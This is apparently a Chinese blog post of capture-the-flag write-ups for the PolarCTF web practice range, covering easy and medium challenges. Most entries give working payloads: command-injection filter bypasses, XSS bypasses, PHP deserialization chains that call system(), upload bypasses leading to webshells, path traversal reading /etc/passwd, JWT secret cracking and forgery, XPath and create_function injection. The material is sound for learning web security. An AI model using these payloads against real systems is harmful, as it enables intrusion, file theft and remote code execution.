0%

polar靶场刷题|web

前言:

目标是ak靶场,然后换书。同时也是加深我对于web题目的熟练度和见识。

简单

简单难度基本都是秒杀,很多都比较基础且没意思,题目后面跟#的是比较有意义的题。

swp#

描述:无

考点:swp文件泄露、strpos()、PCRE回溯次数限制绕过正则

dirsearch直接扫出swp文件

访问得到源码

审计一下源码,先是判断输入的内容是否为数组,然后用strpos()判断输入的内容是否包含sys nb。但是单单输入sys nb还不够。上面还有一个正则匹配sys开头,后面跟任意字符 .*,然后以nb结尾。原本我以为空格也算一个字符直接输入sys nb就能得到flag了,但是发现没绕过去。

这里就需要用到PCRE回溯次数限制来绕过正则

PCRE回溯次数限制:通过发送超长字符串的方式让回溯次数超过最大限制就可以使preg_match()函数返回false,从而绕过限制,使正则执行失败。中文的回溯次数在100万次就会崩溃

1
2
3
4
5
6
import requests

url="http://a1508349-2420-4a5e-825a-19c5ed56cb6d.www.polarctf.com:8090/"
data = {"xdmtql": "sys nb" + "aaaaa" * 1000000}
res = requests.post(url=url, data=data)
print(res.content)

运行后得到flag

 2025-03-24 234515.png

简单rce#

描述:无

考点:rce绕过

就是个命令执行绕过,systempassthru替代,cat用\绕过,空格用%09

蜜雪冰城吉警店

描述:无

考点:js修改

本来看源代码我还以为是js反混淆,后面发现没法解出来。

尝试在查看器改了一下id为9。

 2025-03-25 102729.png

改完再点击一下相应的按钮就得到flag

 2025-03-25 102729.png 2025-03-25 102331.png

召唤神龙

描述:无

考点:js源码泄露、JSFuck解码

 2025-03-25 105619.png

好玩爱玩,玩归玩闹归闹,还是来正经做题。

dirsearch扫描发现一个main.js

查看发现一段可疑的JSFuck码

解码得到flag

seek flag

描述:无

考点:信息搜集

dirsearch扫描发现robots.txt

访问得到第三部分flag

本来看源码的提示被误导了,真的写了个脚本爬了1000行数据以为有隐藏的。后面发现cookie处的id=0,尝试改成id=1就出来了。

本来是想抓包爆破一下cookie里的id的无意中发现flag2(逆天题)

将三段拼在一起得到完整flag

jwt#

描述:无

考点:jwt伪造

进入是一个登录界面,去注册admin用户,发现已存在。再结合题目jwt可以大概猜出这题要伪造admin用户登录。

先尝试一下爆破admin的密码但是没爆出来(爆出来估计就非预期了)

既然爆不出密码,那就先顺便注册一个用户登录

先查看一下JWT的header和payload

利用jwt-cracker爆破JWT的secret

1
jwt-cracker -t eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6IlRHMXUifQ.E6_aosK_r4woX4_yxoxoSjA7L-vvwjqPSmRxAaNnjEo

得到secret为SYSA

伪造jwt

1
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIn0.9avq5ApZ-XZul2kbon8z2cB6Y4bNru_0nnIZfJ1mO50

将其填回到cookie中,进入admin的个人中心得到flag

 2025-03-31 212750.png

login

描述:无

考点:bp爆破

进入后根据源码的提示登录成功,但是没发现什么东西

尝试更换一下学号(一般就改最后几位就行),发现得到一个f

那么接下来就是爆破一下后面两位就行

使用Pitchfork模式

先爆破0到10,前缀加上零

再爆破10到99

最后得到flag

1
flag{dlcg}

iphone

描述:无

考点:ua伪造

根据源码提示直接伪造ua为手机或者ipad的就行

1
Mozilla/5.0 (iPhone; CPU iPhone OS 14_7_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.1.2 Mobile/15E148 Safari/604.1

浮生日记#

描述:无

考点:xss构造闭合+script双写绕过

根据源码提示发现需要弹窗

但是用弹窗发现没法弹,script没了

尝试把value给闭合了,并且script双写绕过就行了

1
"><scrscriptipt>alert(123)</scrscriptipt>

$$

描述:无

考点:全局变量

传入c的值后变为

1
eval("var_dump($$_GET['c']);");

本来想用变量覆盖的,但是发现_被过滤,并且可以发现传入的地方还有个var_dump,所以就不想着命令执行了。

尝试用var_dump打印一下全局变量就出来了

1
2
3
?c=GLOBALS

eval("var_dump($GLOBALS);");

爆破

描述:无

考点:md5构造

分析一下代码,输入的密码要满足以下两个条件就可以得到flag

  • 第 2 位、第 15 位和第 18 位字符相同
  • (intval(第 2 位) + intval(第 15 位) + intval(第 18 位)) / intval(第 2 位) == intval(第 32 位)

那么就很简单了,写个脚本就可以构造了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
import hashlib


def find_valid_input():
for i in range(1000000): # 枚举前 100 万个数字
input_str = str(i)
md5_hash = hashlib.md5(input_str.encode()).hexdigest()

# 条件 1:第 2 位、第 15 位和第 18 位字符相同
if md5_hash[1] == md5_hash[14] == md5_hash[17]:
# 条件 2:计算表达式是否成立
char_2 = int(md5_hash[1], 16) # 转换为整数
char_15 = int(md5_hash[14], 16)
char_18 = int(md5_hash[17], 16)
char_32 = int(md5_hash[31], 16)

if char_2 != 0 and (char_2 + char_15 + char_18) / char_2 == char_32:
print(f"Found valid input: {input_str}")
print(f"MD5 Hash: {md5_hash}")
return input_str

if __name__ == "__main__":
find_valid_input()

传入422得到flag

XFF#

描述:无

考点:XFF

直接伪造XFF就行了

rce1#

描述:无

考点:空格过滤

直接命令执行,用${IFS}绕过空格

1
127.0.0.1|cat${IFS}fllllaaag.php

发现成功了但是没找到flag,查看一下源码发现flag

GET-POST

描述:无

考点:GET、POST传参

真就最基础的get、post传参

被黑掉的站

描述:无

考点:bp爆破

看他页面提示感觉是有后门,直接用dirsearch扫描发现两个文件

访问shell.php需要输入密码,访问index.php.bak应该是密码本

直接bp抓包爆破

签到题#

描述:无

考点:绕过../

直接disearch扫描

访问data

绕过../读取flag.php

1
/data/?file=php://filter/convert.base64-encode/resource=..././..././..././flag

解码得到flag

但是这题我估计非预期了一下,前面data得到其实是要改cookie

解码得到文件路径,后面打法就一样了。

签到

描述:无

考点:POST传参

有个框但是无法提交,F12查看发现POST传参,参数为key

随便传个值发现需要传入ilovejljcxy,传入后直接得到flag了

session文件包含#

描述:无

考点:恶意session文件包含

随便登录个用户,用php伪协议读/etc/passwd

1
/action.php?file=php://filter/convert.base64-encode/resource=/etc/passwd

解码

但是发现这个flag是假的(交半天我还以为哪里错了。。。)

看题目是session文件包含,那就应该是要构造恶意的session文件

查看一下action.php

发现可以通过POST传入name的值构造恶意session然后包含session文件从而命令执行

那么就要先找到session文的存储位置

Session文件的存储位置:Session文件默认以文件的形式保存在服务器硬盘上,每个Session一个文件,文件名通常为sess_[phpsessid]

命令执行查看一下环境变量,发现一个flag结果又是假的(不是一天天的这么喜欢fakeflag)

直接ls /查看,然后抓flag

Don’t touch me

描述:无

考点:无

一直查看源码根据提示访问2.php再访问3.php再访问fla.php就得到了。。。

robots

描述:无

考点:robots.txt

甚至不用dirsearch扫就知道访问robots.txt了。。。

访问fl0g.php得到flag

php very nice#

描述:无

考点:php反序列化

看到unserialize就知道要打反序列化了

1
2
3
4
5
6
7
8
9
10
11
<?php
class Example
{
public $sys;
// function __destruct(){
// eval($this->sys);
// }
}
$e = new Example();
$e -> sys = "system('tac flag.php');";
echo serialize($e);
1
?a=O:7:"Example":1:{s:3:"sys";s:23:"system('tac flag.php');";}

ezupload#

描述:无

考点:文件上传MIME类型绕过

随便传个php文件用bp抓包发现只能传gif文件,修改一下MIME直接就绕过了

本来想偷点懒直接打结果发现找不到flag,老老实实连蚁剑了

/var/www/flag.php找到flag

cookie欺骗

描述:无

考点:cookie伪造

进入就发现给了提示只有admin用户可以得到flag

直接bp抓包修改uer为admin就得到flag了

upload#

描述:无

考点:文件上传后缀双写绕过

查看源代码有提示,访问?action=show_code得到源码

可以看到黑名单限制了一堆后缀,并且移除上传文件的黑名单中的后缀,然后移动到目标路径生成随机前缀。

用bp抓包,直接双写绕过

得到上传文件的路径和名称后,直接打但是还是找不到。再次老实连蚁剑

/var/www/flag.php找到flag

干正则#

描述:无

考点:parse_str()变量覆盖、rce

可以利用parse_str()打变量覆盖,然后用|分隔开。

1
?id=a[0]=www.polarctf.com&cmd=| tac f*

cool#

描述:无

考点:system替代函数

system()passthru()替代

1
?a=passthru('tac f*');

uploader#

描述:无

考点:无上传点的文件上传

使用客户端 IP 地址的 MD5 哈希值作为沙盒目录名称,并且将文件上传到生成的沙盒目录中。

在自己本地起个文件上传的网站

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Document</title>
</head>
<body>
<form action="http://1424546c-382c-485e-baf5-e085ebb23dc9.www.polarctf.com:8090" method="post" enctype="multipart/form-data">
<input type="file" name="file">
<input type="submit">
</form>
</body>
</html>

上传文件

可以发现已经给出目录了,直接打flag

覆盖

描述:无

考点:parse_str()变量覆盖、rce

跟上面干正则一模一样。。。

PHP反序列化初试#

描述:无

考点:php反序列化、__toString()

这里需要触发__toString(),也就是需要把对象当成字符串调用

所以直接把new Evil()赋给name,从而通过echo new Evil()触发__toString(),此时就可以调用Evil里的evil并赋值就可以进行命令执行了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<?php
class Easy{
public $name;
// public function __wakeup()
// {
// echo $this->name;
// }
}
class Evil{
public $evil;
private $env;
// public function __toString()
// {
// $this->env=shell_exec($this->evil);
// return $this->env;
// }
}
$ea = new Easy();
$ev = new Evil();
$ea -> name = $ev;
$ev -> evil = "tac [email protected]";
echo serialize($ea);
1
?easy=O:4:"Easy":1:{s:4:"name";O:4:"Evil":2:{s:4:"evil";s:12:"tac [email protected]";s:9:" Evil env";N;}}

机器人

描述:无

考点:robots.txt

还是一样直接访问robots.txt直接得到一半flag

除此之外,还发现一个目录访问显示禁止,直接用dirsearch扫描一下

访问得到另一半flag

扫扫看

描述:无

考点:泄露

dirsearch直接扫到flag了

访问在源代码得到flag

debudao

描述:无

考点:xss

xss弹cookie直接出

1
<script>alert(document.cookie)</script>

审计#

描述:无

考点:md5碰撞

md5要0e开头,并且输入又只能是数字,那就直接md5碰撞就得到flag了

1
?xxs=240610708

upload1

描述:无

考点:文件上传

查看源代码得到上传逻辑

 2025-04-02 013423.png

随便上传个文件bp抓包,发现上传.php的话抓不到,就改为.jpg上传

上传后直接改后缀为.php就行

直接打flag

rapyiquan#

描述:无

考点:[替代_、命令执行\绕过

可以看到_被过滤了,用[替代。下面命令执行禁了一堆但是\没禁直接用`绕过得到`flag

1
?c[md=ta\c /fl\ag.php

bllbl_ser1#

描述:无

考点:php反序列化

页面上看不清楚,直接在源代码里查看

很明显打php反序列化

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<?php
class bllbl{
public $qiang;//我的强
// function __destruct(){
// $this->bllliang();
// }
// function bllliang(){
// $this->qiang->close();
// }
}
class bllnbnl{
public $er;//我的儿
// function close(){
// eval($this->er);
// }
}

$a = new bllbl();
$b = new bllnbnl();
$a -> qiang = $b;
$b -> er = "system('tac /flag');";
echo serialize($a);
1
?blljl=O:5:"bllbl":1:{s:5:"qiang";O:7:"bllnbnl":1:{s:2:"er";s:20:"system('cat /flag');";}}

查看源代码找到flag

1ncIud3

描述:无

考点:flag替换字母、绕过../

纯恶心人的题

dirsearch扫描发现flag.php,其他几个没啥用。

?page=flag访问flag.php提示说需要替换字母f1ag、fl4g、fla9、fl49、f1a9、f1ag、f14g、f149

尝试了好几种发现都不行,尝试用../进行目录穿越也不行。

再回到flag.php发现提示说过滤了符号,感觉应该../被过滤了,用..././绕过

1
?page=..././..././f1a9

投喂#

描述:无

考点:php序列化

看题目要求发现需要我们对用户名和is_admin进行序列化

1
2
3
4
5
6
7
8
9
10
11
<?php
class User
{
public $username;
public $is_admin;
}

$a= new User();
$a->is_admin=true;
echo serialize($a);
?>
1
data=O:4:"User":2:{s:8:"username";N;s:8:"is_admin";b:1;}

狗黑子的RCE#

描述:无

考点:双写绕过str_replace()

gouheizi会被str_replace()替换为空,所以用双写绕过。命令执行没禁用\直接用\绕过

1
2
GET: ?gouheizi1=ta\c /fl\ag.php
POST: gouheizi2=gougouheiziheizi

button

描述:无

考点:js泄露

直接查看网站的js脚本,发现可以直接读到flag

访问/proxy.php?file=flag,在源代码里找到flag

井字棋#

描述:无

考点:POST请求伪造、控制台函数调用

法一:POST请求伪造

查看源代码可以得到获取flag的条件

直接伪造请求得到flag

法二:控制台函数调用

可以看到declareWinner()通过参数who来控制谁获胜

直接通过控制台调用一下declareWinner(),给后端传递我们获胜的信息

1
declareWinner("您赢了!");

简单的导航站

描述:无

考点:md5强比较数组绕过、bp爆破

尝试登录管理员但是发现登不进去,注册一个普通用户登录,查看用户列表

直接数组绕过md5强比较得到用户字典

1
?user1[]=1&user2[]=2

bp抓包爆破管理员用户和密码,但是发现没爆出来。

看了一下wp发现密码在源代码里(纯恶心人)

爆破用户名,得到管理员用户和密码P0la2adm1n/Admin1234!

登录后进入文件上传界面,上传.php成功但是没找到路径,盲猜是uploads

连接蚁剑

找到一个flag字典(无语)

导航页面有个验证flag的地方,抓包爆破得到正确的flag

中等

中等题基本上都是比较有意义的知识点,并且中等难度有些题理解起来还是有点难度的,这些题在题目后面跟上X。

到底给不给flag呢X

描述:无

考点:foreach()+动态变量$$实现变量覆盖

这题理解起来还是有点麻烦的,得好好分析一下。

进来就给个flag,可惜是假的。。。

分析一下代码重点看这一段

1
2
3
4
5
6
7
8
9
foreach ($_POST as $key => $value) {
$$key = $value;
}

foreach ($_GET as $key => $value) {
$$key = $$value;
}

echo $flag;

foreach循环会依次处理 $_POST$_GET数组中的每个键值对。很明显是需要我们打变量覆盖,接下来分别分析一下POST和GET

POST和GET传入的值会被重新变为变量

假设POST传入的值为a=flag,传入后$_POST数组如下:

1
2
3
$_POST = [
'a' => 'flag'
]

$$key = $value就变为$a = flag,所以很明显这里没法通过POST进行变量传递。

假设GET传入的值为a=flag,传入后$_GET数组如下:

1
2
3
$_GET = [
'a' => 'flag'
]

$$key = $$value就变为$a = $$flag

两个问题:

  • 为什么这里不是$a = $flag

    这就涉及到动态变量$$的基本概念:在 PHP 中,$$ 是动态变量的语法。它的作用是根据一个变量的值作为另一个变量的名称。

  • 这里的$$key为什么不是变为$$a而是$a?

    因为这里的a不是通过$$变量得到的,而是直接赋值为a,所以就直接是变量$a

此时如果传入a=flag&flag=a,传入后$_GET数组如下:

1
2
3
4
$_GET = [
'a' => 'flag',
'flag' => 'a'
]

此时会经历两轮循环

第一轮:

1
2
3
4
$key = 'a'
$value = 'flag'
变为
$a = $$flag

此时$flag的值假flag:flag{f73da0c8e7c774d488a6df0fec2890d9}已经被覆盖掉了,而真正的flag值被赋给了$a变量,也就是$a=true flag

第二轮:

1
2
3
4
$key = 'flag'
$value = 'a'
变为
$flag = $$a

此时$flag的值等于$a变量的值,也就是$flag=true flag

所以最后echo $flag就是输出true flag

所以payload为

1
?a=flag&flag=a

查看源代码得到flag

补充:为什么不用传入POST?(刚开始有点误导我)

第一段逻辑:

1
2
3
if(!isset($_GET['flag']) && !isset($_POST['flag'])){  
exit($qwq);
}

此时需要两边都是true才会exit($qwq),我们传入了GET,所以isset($_GET['flag'])true!isset($_GET['flag'])false;我们没有传入POST,所以isset($_POST['flag'])false!isset($_POST['flag'])就为true。所以就传入一个GET就行了。

写shell

描述:无

考点:file_put_contents()、php伪协议base64解密绕过exit()

就是用file_put_contents写入木马

但是可以发现这里由于有个exit();直接结束了后面代码的执行,所以我们需要绕过exit();

法一:base64解码

直接将代码以base64的形式写入到1.php中,并且使用php伪协议进行解码。这样就将<?php exit();".这部分给解密为乱码,从而执行我们后面写入的代码。

但是这里还有一点要注意的是base64解码是将每4个字节转换成3个字节,而<?php exit();".有15个字符,所以我们需要随便加上一个字符筹齐16个字符进行base64解码。

1
2
GET: ?filename=php://filter/convert.base64-decode/resource=1.php
POST: content=aPD9waHAgc3lzdGVtKCd0YWMgL2ZsYWcnKT8+ //a<?php system('tac /flag')?>

法二:strip_tags去除xml标签代码+base64解码

通过strip_tags去除xml标签代码,即去除<??>的部分,所以我们需要在POST的paylaod前加上?>闭合前面<?php exit();".,防止后面我们添加的<??>也被去除标签了。

1
2
GET: ?filename=php://filter/string.strip_tags|convert.base64-decode/resource=1.php
POST: content=?>PD9waHAgc3lzdGVtKCd0YWMgL2ZsYWcnKT8+ //?><?php system('tac /flag')?>

注入

描述:无

考点:xpath常规注入

进入后点击,发现跳转得到一个用户名,并且变为?id=1

但是试了半天sql注入没试出来,爆破了一下id也只是得到了几个用户名

看了一下wp才发现是xpath注入

直接打payload访问xml文档的所有节点就得到flag了

1
?id=']|//*|//*['

某函数的复仇

描述:无

考点:create_function()命令执行

 2025-04-02 123232.png

第一个正则验证 shaw是否只包含小写字母和下划线,第二个过滤了一些命令执行的关键字

动态掉用函数,这里shaw直接用create_function()满足第一个正则条件,并且参数也符合。

create_function():用于动态创建匿名函数。语法类似于 eval(),会解析传入的字符串为可执行的 PHP 代码。

;}结束了原本的函数体,后面直接命令执行,用/* 开始注释忽略后续的代码。

1
2
GET: ?root=;}system('more /f*');/*
POST: shaw=create_function